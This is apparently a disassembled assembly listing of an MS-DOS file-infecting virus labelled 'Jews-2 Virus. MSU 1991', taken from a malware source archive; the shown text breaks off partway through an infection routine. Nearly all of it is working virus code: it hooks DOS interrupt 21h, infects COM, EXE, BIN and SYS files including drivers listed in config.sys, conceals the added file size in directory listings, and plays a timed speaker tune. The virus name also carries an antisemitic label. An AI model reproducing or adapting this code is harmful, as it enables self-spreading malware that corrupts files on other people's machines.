MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.mayak.asm
2021-01-12 17:49:21 -06:00

1271 lines
27 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ MAYAK ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Aug-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0Ch
data_3e equ 20h
data_4e equ 24h
data_5e equ 84h
data_6e equ 90h
data_8e equ 100h
data_9e equ 917h ;*
data_10e equ 91Eh ;*
data_11e equ 5350h ;*
data_14e equ 927h ;*
data_15e equ 6
data_16e equ 46h
data_17e equ 60h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
mayak proc far
start:
;* jmp loc_6 ;*
db 0E9h, 32h, 01h
db 60h,0B9h, 00h, 20h
locloop_3:
loop locloop_3 ; Loop if cx > 0
mov al,0
out 60h,al ; port 60h, keybd data write
int 20h ; DOS program terminate
push ax
push cx
push si
push di
push ds
push es
call sub_2
mayak endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pop si
sub si,9
nop ;*ASM fixup - sign extn byte
push cs
pop ds
mov [si+44h],cs
nop ;*ASM fixup - displacement
mov [si+62h],cs
nop ;*ASM fixup - displacement
mov [si+46h],bx
nop ;*ASM fixup - displacement
mov [si+48h],es
nop ;*ASM fixup - displacement
mov ax,[si+42h]
mov ds:data_15e,ax
jmp short $+2 ; delay for I/O
cld ; Clear direction
mov ax,7000h
mov es,ax
xor di,di ; Zero register
mov cx,923h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov cx,7Bh
rep stosb ; Rep when cx >0 Store al to es:[di]
pop es
pop ds
pop di
pop si
pop cx
pop ax
;* jmp far ptr loc_2 ;*
sub_2 endp
db 0EAh,0C1h, 00h, 68h, 02h
out 3,al ; port 3, DMA-1 bas&cnt ch 1
xchg dx,ds:data_11e[bx+si]
push cx
push dx
push si
push di
push ds
push es
push cs
pop ds
les di,dword ptr ds:data_17e ; Load 32 bit ptr
mov si,91Eh
cld ; Clear direction
movsw ; Mov [si] to es:[di]
movsw ; Mov [si] to es:[di]
movsb ; Mov [si] to es:[di]
;* call far ptr sub_1 ;*
db 9Ah,0CCh, 00h, 68h, 02h
mov ax,0FEDAh
int 21h ; ??INT Non-standard interrupt
cmp ax,0ADEFh
je loc_4 ; Jump if equal
push cs
pop ds
mov ah,34h ; '4'
int 21h ; DOS Services ah=function 34h
; get DOS critical ptr es:bx
;* undocumented function
mov word ptr ds:[93Bh],bx
mov word ptr ds:[93Dh],es
lds si,dword ptr ds:data_16e ; Load 32 bit ptr
les di,dword ptr [si+0Eh] ; Load 32 bit ptr
mov cl,4
shr di,cl ; Shift w/zeros fill
inc di
mov ax,es
add ax,di
mov es,ax
mov word ptr [si+0Eh],99Eh
mov [si+10h],es
xor di,di ; Zero register
push cs
pop ds
xor si,si ; Zero register
cld ; Clear direction
mov cx,99Eh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov di,data_14e
mov ds,cx
mov si,data_5e
movsw ; Mov [si] to es:[di]
movsw ; Mov [si] to es:[di]
mov [si-2],es
mov word ptr [si-4],147h
mov si,data_4e
movsw ; Mov [si] to es:[di]
movsw ; Mov [si] to es:[di]
mov [si-2],es
mov word ptr [si-4],384h
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
call sub_10
sub ax,word ptr cs:[917h]
cmp ax,5
jb loc_4 ; Jump if below
mov si,data_3e
movsw ; Mov [si] to es:[di]
movsw ; Mov [si] to es:[di]
mov [si-2],es
mov word ptr [si-4],2C2h
loc_4:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf ; Return far
db 'Jews-2 Virus. MSU 1991'
db 1Eh, 06h,0E8h, 00h, 00h, 5Eh
db 81h,0EEh, 03h, 01h,0E8h,0CAh
db 02h, 0Eh, 0Eh, 1Fh, 07h,0E8h
db 25h, 03h, 07h, 8Ch,0C0h, 05h
db 10h, 00h, 2Eh, 01h, 84h, 24h
db 01h, 1Fh,0E8h,0FFh, 02h,0EAh
db 00h
db 0, 0, 0
loc_6:
call sub_3
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
pop si
sub si,129h
call sub_5
push si
mov di,data_8e
add si,data_10e
movsw ; Mov [si] to es:[di]
movsb ; Mov [si] to es:[di]
pop si
call sub_8
mov ax,100h
push ax
call sub_7
retn
sub_3 endp
pushf ; Push flags
cmp ax,0FEDAh
jne loc_7 ; Jump if not equal
mov ax,0ADEFh
les bx,dword ptr cs:[927h] ; Load 32 bit ptr
popf ; Pop flags
iret ; Interrupt return
loc_7:
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
xor si,si ; Zero register
call sub_5
cmp ah,3Ch ; '<'
je loc_13 ; Jump if equal
cmp ah,5Bh ; '['
je loc_13 ; Jump if equal
cmp ah,3Dh ; '='
je loc_15 ; Jump if equal
cmp ah,3Eh ; '>'
je loc_17 ; Jump if equal
cmp ah,4Bh ; 'K'
jne loc_10 ; Jump if not equal
jmp loc_20
loc_10:
cmp ah,4Eh ; 'N'
jne loc_11 ; Jump if not equal
jmp loc_26
loc_11:
cmp ah,4Fh ; 'O'
jne loc_12 ; Jump if not equal
jmp loc_28
loc_12:
jmp loc_31
loc_13:
int 3 ; Debug breakpoint
jnc loc_14 ; Jump if carry=0
jmp loc_29
loc_14:
push ax
call sub_12
pop bx
mov byte ptr cs:[943h][bx],al
mov byte ptr cs:[957h][bx],ah
mov ax,bx
jmp loc_30
loc_15:
push ax
mov al,2
int 3 ; Debug breakpoint
jnc loc_16 ; Jump if carry=0
pop ax
jmp loc_31
loc_16:
pop bx
push ax
call sub_12
pop bx
mov byte ptr cs:[943h][bx],al
mov byte ptr cs:[957h][bx],ah
call sub_21
mov ax,bx
jmp loc_30
loc_17:
push ax
push cs
pop ds
cmp bx,5
jb loc_19 ; Jump if below
cmp bx,18h
ja loc_19 ; Jump if above
mov al,byte ptr ds:[943h][bx]
mov ah,byte ptr ds:[957h][bx]
mov byte ptr ds:[943h][bx],0
mov byte ptr ds:[957h][bx],0
cmp al,2
jb loc_18 ; Jump if below
cmp ah,2
jbe loc_19 ; Jump if below or =
loc_18:
call sub_20
loc_19:
pop ax
jmp loc_31
loc_20:
mov word ptr cs:[99Ah],dx
mov word ptr cs:[99Ch],ds
push ax
call sub_12
mov word ptr cs:[998h],ax
push ax
mov ax,3D02h
int 3 ; Debug breakpoint
mov bx,ax
pop ax
pop cx
push cx
jc loc_25 ; Jump if carry Set
and cl,cl
jz loc_23 ; Jump if zero
call sub_21
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
pop ax
call sub_4
pop bx
call dword ptr cs:[927h]
pushf ; Push flags
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push ax
xor si,si ; Zero register
call sub_5
mov ax,word ptr cs:[998h]
lds dx,dword ptr cs:[99Ah] ; Load 32 bit ptr
cmp al,2
jb loc_22 ; Jump if below
cmp ah,2
ja loc_22 ; Jump if above
loc_21:
pop ax
call sub_4
pop bx
popf ; Pop flags
retf 2 ; Return far
loc_22:
push ax
mov ax,3D02h
int 3 ; Debug breakpoint
mov bx,ax
pop ax
jc loc_21 ; Jump if carry Set
call sub_20
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
jmp short loc_21
loc_23:
cmp al,2
jb loc_24 ; Jump if below
cmp ah,2
jbe loc_25 ; Jump if below or =
loc_24:
call sub_20
loc_25:
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
pop ax
jmp short loc_31
loc_26:
int 3 ; Debug breakpoint
jc loc_29 ; Jump if carry Set
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
push es
pop ds
loc_27:
mov ax,[bx+16h]
and ax,1Fh
cmp ax,1Fh
jne loc_30 ; Jump if not equal
sub word ptr [bx+1Ah],923h
sbb word ptr [bx+1Ch],0
and word ptr [bx+16h],0FFE0h
jmp short loc_30
loc_28:
int 3 ; Debug breakpoint
mov bx,dx
jnc loc_27 ; Jump if carry=0
loc_29:
call sub_4
pop bx
popf ; Pop flags
stc ; Set carry flag
retf 2 ; Return far
loc_30:
call sub_4
pop bx
popf ; Pop flags
clc ; Clear carry flag
retf 2 ; Return far
loc_31:
call sub_4
pop bx
popf ; Pop flags
jmp dword ptr cs:[927h]
push ax
push cx
push dx
push si
push ds
push es
push cs
pop ds
cmp byte ptr ds:[34Eh],0
jne loc_32 ; Jump if not equal
les si,dword ptr ds:[93Bh] ; Load 32 bit ptr
cmp byte ptr es:[si],0
jne $+6Ah ; Jump if not equal
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
mov dl,cl
cmp dx,1E3Bh
jne $+5Eh ; Jump if not equal
mov byte ptr ds:[34Eh],1
mov byte ptr ds:[947h],1
mov word ptr ds:[943h],34Fh
loc_32:
dec byte ptr ds:[34Eh]
jnz $+48h ; Jump if not zero
mov si,word ptr ds:[943h]
cld ; Clear direction
loc_33:
lodsb ; String [si] to al
mov byte ptr ds:[34Eh],al
and al,al
jnz loc_35 ; Jump if not zero
dec byte ptr ds:[947h]
jz loc_34 ; Jump if zero
mov si,word ptr ds:[945h]
jmp short loc_33
loc_34:
lodsb ; String [si] to al
mov word ptr ds:[945h],si
mov byte ptr ds:[947h],al
and al,al
jnz loc_33 ; Jump if not zero
jmp short $+21h
loc_35:
lodsw ; String [si] to ax
mov cx,ax
mov word ptr ds:[943h],si
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
mov dx,12h
mov ax,34DDh
div cx ; ax,dx rem=dx:ax/reg
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,ah
out 42h,al ; port 42h, 8253 timer 2 spkr
in al,61h ; port 61h, 8255 port B, read
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
pop es
pop ds
pop si
pop dx
pop cx
pop ax
jmp dword ptr cs:[92Fh]
add [bx+si],al
add ax,[bx]
into ; Int 4 on overflow
add al,[bx]
push si
add ax,[bx]
xor al,4
pop es
push si
add cx,word ptr ds:[3BFh]
pop es
push si
add ax,[bx]
add cx,word ptr es:[434h]
push cs
mov di,1103h
into ; Int 4 on overflow
add dh,[bp+si]
db 0FFh,0FFh, 00h, 05h, 02h,0E8h
db 03h, 10h,0FFh,0FFh, 00h, 01h
db 09h,0E8h, 03h, 01h,0FFh,0FFh
db 00h, 00h, 50h, 1Eh,0E4h, 60h
db 3Ch, 53h, 75h, 35h,0B8h, 40h
db 00h, 8Eh,0D8h,0A0h, 17h, 00h
db 24h, 0Ch, 3Ch, 0Ch, 75h, 27h
db 0C7h, 06h, 72h, 00h, 34h, 12h
db 0E4h, 61h, 8Ah,0E0h, 0Ch, 80h
db 0E6h, 61h, 86h,0E0h,0E6h, 61h
db 0B0h, 20h,0E6h, 20h, 33h,0F6h
db 0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh
db 07h,0E8h, 7Bh, 00h,0EAh,0F0h
db 0FFh, 00h,0F0h
db 1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh
db 09h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
call sub_6
pop bx
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
jmp bx ;*Register jump
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_5:
push ax
push bx
push ds
push es
xor ax,ax ; Zero register
mov ds,ax
les ax,dword ptr ds:data_1e ; Load 32 bit ptr
mov word ptr cs:[933h][si],ax
mov word ptr cs:[935h][si],es
mov ax,0FEDAh
int 21h ; ??INT Non-standard interrupt
cmp ax,0ADEFh
je loc_37 ; Jump if equal
les bx,dword ptr ds:data_5e ; Load 32 bit ptr
loc_37:
mov ds:data_1e,bx
mov word ptr ds:data_1e+2,es
pop es
pop ds
pop bx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
mov ds,ax
les ax,dword ptr cs:[933h][si] ; Load 32 bit ptr
mov ds:data_1e,ax
mov word ptr ds:data_1e+2,es
pop es
pop ds
pop ax
retn
sub_6 endp
db 0B0h, 03h,0CFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
call sub_6
xor ax,ax ; Zero register
xor bx,bx ; Zero register
mov cx,0FFh
mov dx,cs
mov di,sp
add di,4
mov si,100h
xor bp,bp ; Zero register
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
mov ah,2Ah ; '*'
int 3 ; Debug breakpoint
call sub_10
mov word ptr ds:[917h][si],ax
mov ax,3D00h
lea dx,[si+4F0h] ; Load effective addr
int 3 ; Debug breakpoint
mov bx,ax
jnc loc_38 ; Jump if carry=0
retn
loc_38:
mov ah,3Fh ; '?'
lea dx,[si+970h] ; Load effective addr
mov cx,28h
int 3 ; Debug breakpoint
and ax,ax
jnz loc_39 ; Jump if not zero
jmp loc_46
loc_39:
mov cx,ax
mov di,dx
mov al,0Dh
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
jnz loc_38 ; Jump if not zero
mov byte ptr [di-1],20h ; ' '
neg cx
inc cx
mov ax,cx
cwd ; Word to double word
xchg cx,dx
mov ax,4201h
int 3 ; Debug breakpoint
mov cx,28h
mov al,20h ; ' '
lea di,[si+970h] ; Load effective addr
push di
push cx
locloop_40:
scasb ; Scan es:[di] for al
jc loc_41 ; Jump if carry Set
mov [di-1],al
loc_41:
loop locloop_40 ; Loop if cx > 0
pop cx
pop di
repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
push si
dec di
push di
lea di,[si+4FEh] ; Load effective addr
pop si
mov cx,6
locloop_42:
lodsb ; String [si] to al
or al,20h ; ' '
scasb ; Scan es:[di] for al
loopz locloop_42 ; Loop if zf=1, cx>0
mov di,si
pop si
jnz loc_38 ; Jump if not zero
mov cx,28h
mov al,20h ; ' '
repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
cmp byte ptr [di-1],3Dh ; '='
jne loc_38 ; Jump if not equal
repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
dec di
mov dx,di
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov byte ptr [di-1],0
push bx
call sub_11
jz loc_44 ; Jump if zero
mov di,dx
cmp byte ptr [di],5Ch ; '\'
je loc_43 ; Jump if equal
dec di
mov byte ptr [di],5Ch ; '\'
loc_43:
dec di
dec di
mov word ptr [di],3A63h
mov dx,di
loc_44:
mov ax,3D02h
int 3 ; Debug breakpoint
jc loc_45 ; Jump if carry Set
mov bx,ax
mov ax,402h
call sub_20
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
loc_45:
pop bx
jmp loc_38
loc_46:
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
retn
sub_8 endp
db 'c:\config.sys'
db 00h, 64h, 65h, 76h, 69h, 63h
db 65h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
sub cx,7BCh
dec dx
dec dh
mov al,1Fh
mul dh ; ax = reg * al
xor dh,dh ; Zero register
add dx,ax
push dx
mov ax,16Eh
mul cx ; dx:ax = reg * ax
pop dx
add ax,dx
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov di,dx
mov cx,0FFFFh
xor al,al ; Zero register
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
neg cx
dec cx
dec di
dec di
mov bx,di
mov di,dx
mov al,3Ah ; ':'
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
cld ; Clear direction
push bx
push si
push ds
pop es
call sub_11
jnz loc_48 ; Jump if not zero
mov al,[di-2]
or al,20h ; ' '
sub al,61h ; 'a'
jmp short loc_49
loc_48:
mov ah,19h
int 3 ; Debug breakpoint
loc_49:
std ; Set direction flag
push cs
pop es
lea di,[si+584h] ; Load effective addr
mov si,bx
mov bl,al
mov ah,4
loc_50:
mov cx,4
push di
push si
locloop_51:
lodsb ; String [si] to al
or al,20h ; ' '
scasb ; Scan es:[di] for al
loopz locloop_51 ; Loop if zf=1, cx>0
pop si
pop di
jz loc_53 ; Jump if zero
sub di,4
dec ah
jz loc_53 ; Jump if zero
jmp short loc_50
loc_53:
cld ; Clear direction
mov al,bl
pop si
pop bx
retn
sub_12 endp
db '.com.exe.bin.sys'
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
mov ax,4200h
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 3 ; Debug breakpoint
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
push ax
and ah,ah
jz loc_56 ; Jump if zero
xor dx,dx ; Zero register
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,6
int 3 ; Debug breakpoint
cmp ax,6
jne loc_56 ; Jump if not equal
pop ax
push ax
cmp ah,2
jb loc_55 ; Jump if below
jnz loc_54 ; Jump if not zero
cmp word ptr ds:[91Eh][si],5A4Dh
jne loc_56 ; Jump if not equal
jmp short loc_55
loc_54:
cmp word ptr ds:[91Eh][si],0FFFFh
jne loc_56 ; Jump if not equal
cmp word ptr ds:[920h][si],0FFFFh
jne loc_56 ; Jump if not equal
loc_55:
pop ax
stc ; Set carry flag
retn
loc_56:
pop ax
clc ; Clear carry flag
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
push ax
mov ax,5700h
int 3 ; Debug breakpoint
mov word ptr ds:[93Fh][si],cx
mov word ptr ds:[941h][si],dx
and cx,1Fh
cmp cx,1Fh
pop ax
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
call sub_14
mov ah,40h ; '@'
mov dx,si
mov cx,923h
int 3 ; Debug breakpoint
retn
sub_17 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_18 proc near
call sub_14
add ax,1FFh
adc dx,0
mov al,ah
mov ah,dl
shr ax,1 ; Shift w/zeros fill
mov word ptr ds:[91Eh][si],ax
mov dx,4
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
retn
sub_18 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_19 proc near
push es
push bx
xor bx,bx ; Zero register
mov ds,bx
les bx,dword ptr ds:data_6e ; Load 32 bit ptr
mov word ptr cs:[937h][si],bx
mov word ptr cs:[939h][si],es
lea bx,[si+41Dh] ; Load effective addr
mov ds:data_6e,bx
mov word ptr ds:data_6e+2,cs
push ds
push cs
push cs
pop ds
pop es
push ax
cld ; Clear direction
lea dx,[si+970h] ; Load effective addr
mov di,dx
add al,61h ; 'a'
mov ah,3Ah ; ':'
stosw ; Store ax to es:[di]
mov word ptr [di],5Ch
mov ah,5Ah ; 'Z'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
jc loc_59 ; Jump if carry Set
mov bx,ax
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
jc loc_59 ; Jump if carry Set
mov ah,41h ; 'A'
int 3 ; Debug breakpoint
loc_59:
pop ax
pop ds
les bx,dword ptr cs:[937h][si] ; Load 32 bit ptr
mov ds:data_6e,bx
mov word ptr ds:data_6e+2,es
push cs
pop ds
pop bx
pop es
retn
sub_19 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_20 proc near
push cs
push cs
pop ds
pop es
call sub_15
jc loc_60 ; Jump if carry Set
jmp loc_69
loc_60:
call sub_16
jnz loc_61 ; Jump if not zero
jmp loc_69
loc_61:
call sub_19
jnc loc_62 ; Jump if carry=0
jmp loc_69
loc_62:
cmp ah,1
je loc_65 ; Jump if equal
cmp ah,2
jne loc_63 ; Jump if not equal
jmp loc_67
loc_63:
mov ah,3Fh ; '?'
lea dx,[si+42h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov ah,3Fh ; '?'
lea dx,[si+60h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+60h]
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
call sub_14
cmp ax,0F000h
jbe loc_64 ; Jump if below or =
jmp loc_69
loc_64:
mov word ptr ds:[925h][si],ax
mov dx,6
call sub_13
mov ah,40h ; '@'
lea dx,[si+925h] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+60h]
call sub_13
mov ah,40h ; '@'
lea dx,[si+919h] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
call sub_17
jmp loc_68
loc_65:
call sub_14
cmp ax,0F000h
jbe loc_66 ; Jump if below or =
jmp loc_69
loc_66:
add ax,123h
mov word ptr ds:[925h][si],ax
xor dx,dx ; Zero register
call sub_13
mov byte ptr ds:[924h][si],0E9h
mov ah,40h ; '@'
lea dx,[si+924h] ; Load effective addr
mov cx,3
int 3 ; Debug breakpoint
call sub_17
jmp short loc_68
loc_67:
mov dx,4
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,6
int 3 ; Debug breakpoint
call sub_14
add ax,1FFh
adc dx,0
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
mov al,ah
mov ah,dl
cmp ax,word ptr ds:[91Eh][si]
jne loc_69 ; Jump if not equal
mov dx,14h
call sub_13
mov ah,3Fh ; '?'
